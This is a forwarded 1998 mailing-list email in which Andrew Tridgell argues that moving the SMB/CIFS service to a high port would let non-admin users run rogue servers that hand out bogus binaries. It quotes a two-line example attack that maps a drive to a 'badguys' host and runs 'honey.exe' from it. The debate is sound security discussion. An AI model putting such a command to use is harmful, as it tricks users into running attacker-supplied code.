From: SMTP%"everhart@mail09.mitre.org" 22-JAN-1998 17:28:30.36 To: everhart@GCE.Com (everhart@gce.com) CC: Subj: FWD: Re: possible port number solution? --===_tgate3_43753_96621443_=== Content-Type: text/plain; charset="us-ascii" ----- Forwarded message follows ----- References: <5CEA8663F24DD111A96100805FFE6587203974@red-msg-51.dns.microsoft.com> Date: Tue, 20 Jan 98 17:40:30 -0500 Reply-To: Common Internet File System From: Andrew Tridgell Subject: Re: possible port number solution? To: In-Reply-To: <5CEA8663F24DD111A96100805FFE6587203974@red-msg-51.dns.microsoft.com> (message from Paul Leach on Tue, 20 Jan 1998 10:06:51 -0800) Paul wrote: > To summarize: > In order for the high port to be _the_ unaddressed risk in a given > situation, there has to be Paul, I'm amazed that you are using this as an argument. You are saying that because there are other security risks we shouldn't worry about one more. That is what you are saying, right? Security is achieved by addressing all security holes. The proposed port number change adds a new security hole. That is not a step in the right direction. > 1. a server with an admin you trust, but yet who hasn't reserved 3020, which will be the default situation as soon as someone installs a "new" client before *all* servers are updated. This will happen at tens of thousands of sites worldwide. Are you going to find it acceptable to put a label on NT5 that says "warning, installing this software is a security risk unless all server software has been upgraded first". > 2. who has allowed untrusted (possibly malicious) users to run arbitrary > programs ie. who has allowed a user a login. In the unix world this is totally normal. It is not exactly abnormal in the NT world. Do you trust everyone who has a login on your servers? If so, you work in a very trusting workplace. Try a university environment. The whole point of having admin vs non-admin users is that non-admin users should not be able to do damage whether they are malicious or not. That aim is never 100% achieved but we shouldn't build failure into the spec! > 3. who is competent enough that these programs are unable to replace any > binaries on the shares that client might fetch and run (despite not being > competent enough to prevent them from using 3020), which is the default if normal installation procedures are followed. Or are you saying that it's tricky to secure a NT box in this way? > 4. a firewall admin who you trust, yet hasn't blocked 3020 to all but safe > servers nothing to do with firewalls. A firewall doesn't prevent a user from logging into a machine locally or on their local LAN. > 5. the server doesn't use SMB signing so now you are making that compulsory in the spec? And how do you handle password-less read-only shares? And what about unix systems without plain-text passwords on disk? password-less read-only shares are *very* common. Particularly for cdroms. > 6. the executables on the server aren't signed so now we can only run signed java apps? where does the signing authority come from? The CIFS server? do you also want everyone to encrypt all their documents? Being able to change documents is just as bad (often worse) than being able to change binaries. > 7. the DNS hasn't been spoofed jeez. Let's raise the DNS bogeyman as a reason to add a security hole in SMB. Security holes in one protocol (which are being fixed by secure DNS) do not justify building in a security hole in another. This is not a competition to see who can have the most security holes. > 8. the connection hasn't been hijacked and just in case it hasn't been, lets make it even easier by putting it on a high port number. That makes the only current defence against hijacking of SMB (a full port block) unacceptable for firewall admins so they'll have to use a SYN block. That will make hijacking much easier for everyone. Do you really *like* security holes? > I think those are technical reasons. no, an argument that says "there are other security holes, one more doesn't matter" is not a technical reason. It is drivel. You have put up no technical arguments at all for why a low port number is bad. Paul, what the heck is going on here? I know you know more about security than this. You put additional security stuff in SMB and even wrote that "security risks" section for the CIFS spec. That can't have come from someone who thinks that one more security hole doesn't matter. What on earth is possessing you to take this attitude? > Here's my exploit, and its even shorter than yours, and it can't be fixed by > a high numbered port: > net use x: //attractive.server.badguys.com > x:\honey.exe users can be stupid. So? Your exploit requires the user to do something stupid. The exploit I posted requires that the user go about his normal daily business until he gets burned. > It's bad policy for a client to run unsigned executables from a server whose > admin he doesn't trust -- either because of potential incompentence or > maliciousness. You've got this backwards! The point of a low port number for SMB is so you know that it is the admin that you trust that started the server! Think of a poor user running NT5 going to a unix server whose admin they trust. They may even be the admin themselves. They then discover that some student has run a server on port 3020 and is serving up bogus binaries and documents. We could just warn all admins. We would issues a CERT advisory saying "warning, Microsoft deliberately built a security hole into NT5, here is how you can minimise the impact". This problem *will* generate a CERT advisory if you go ahead. > It's bad policy to run unsigned executables from _any_server that allows > arbitrary (possibly malicious) users to run arbitrary programs. you are talking about a huge proportion of your customers here! How many of your customers use signed executables? How many allow logins to the servers? How do you sign the executables on a cdrom? What signing protocol are you even talking about? Have you spoken to some of the NT security people about this? Have you shown them the exploit? Do they take the same "who cares" attitude? Andrew "flabbergasted" ---------------------------------------------------------------- Users Guide http://www.microsoft.com/sitebuilder/resource/mailfaq.asp contains important info including how to unsubscribe. Save time, search the archives at http://discuss.microsoft.com/archives/index.html ----- End of forwarded message ----- --===_tgate3_43753_96621443_===-- ================== RFC 822 Headers ================== Return-Path: everhart@mail09.mitre.org Received: by norlmn.gce.com (UCX X4.2-14, OpenVMS E7.1-1H1 Alpha); Thu, 22 Jan 1998 17:18:30 -0500 Received: from mbunix.mitre.org (mbunix.mitre.org [129.83.20.100]) by mercury.mv.net (8.8.8/mem-971025) with ESMTP id HAA16445 for ; Thu, 22 Jan 1998 07:13:46 -0500 (EST) Received: from TGATE3 (tgate3.mitre.org [129.83.20.27]) by mbunix.mitre.org (8.8.8/8.8.8/mitre.0) with ESMTP id HAA22796 for ; Thu, 22 Jan 1998 07:17:24 -0500 (EST) Received: from mail09.mitre.org (unverified [129.83.20.43]) by tgate3.mitre.org (EMWAC SMTPRS 0.83) with SMTP id ; Thu, 22 Jan 1998 07:17:23 -0500 Received: by mail09.mitre.org; (5.65v3.2/1.1.8.2/22Jun94-0628PM) id AA14418; Thu, 22 Jan 1998 07:17:19 -0500 Subject: FWD: Re: possible port number solution? From: everhart@mail09.mitre.org (Glenn C. Everhart) To: everhart@GCE.Com (everhart@gce.com) Message-Id: <980122071718.31233@mail09.mitre.org.0> Date: Thu, 22 Jan 98 07:17:18 -0500 X-Mailer: MailWorks 2.0-4 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="===_tgate3_43753_96621443_==="